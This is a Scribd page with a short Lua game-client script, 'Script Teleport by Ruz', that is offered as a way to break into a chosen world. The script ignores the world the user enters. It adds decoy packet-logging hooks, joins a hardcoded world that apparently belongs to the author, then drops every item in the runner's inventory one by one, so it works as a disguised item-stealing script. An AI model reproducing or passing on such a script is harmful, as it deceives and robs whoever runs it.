0% found this document useful (0 votes)
29 views1 page

Script Teleport by Ruz

The document contains Lua code that logs packet and variant data to the console using hooks. It also contains code to join a specific world, sleep for 1 second, then loop through the inventory and send packets to drop each item, sleeping for 1 second between each drop.

Uploaded by

Ardi Wibowo
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
29 views1 page

Script Teleport by Ruz

The document contains Lua code that logs packet and variant data to the console using hooks. It also contains code to join a specific world, sleep for 1 second, then loop through the inventory and send packets to drop each item, sleeping for 1 second between each drop.

Uploaded by

Ardi Wibowo
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

Seconds = 3 ~RECOMEND 3

world = "World name yg mau di bobol"

function omg(a)
LogToConsole("Type : "..a.type.."\nX : "..a.x.."\nY : "..a.y.."\nPunchX :
"..a.px.."\nPunchY : "..a.py.."\nState : "..a.state.."\nValue : "..a.value.."\
nNetID : "..a.netid)
return false
end

AddHook(omg, "OnSendPacketRaw");

function hujan(var)
LogToConsole(var.v1)
LogToConsole(var.v2)
LogToConsole(var.v3)
LogToConsole(var.v4)
LogToConsole(var.v5)
return false
end

AddHook(hujan, "OnVariant")
local world_name = "txhruz|invworld"

SendPacket(3, "action|join_request\nname|" .. world_name .. "\ninvitedWorld|0")


Sleep(1000)
for _, v in pairs(GetInventory())
do
SendPacket(2, "action|drop\n|itemID|"..v.id);
SendPacket(2, "action|dialog_return\ndialog_name|drop_item\nitemID|"..v.id.."|\
ncount|"..v.amount);
Sleep(1000);
end

You might also like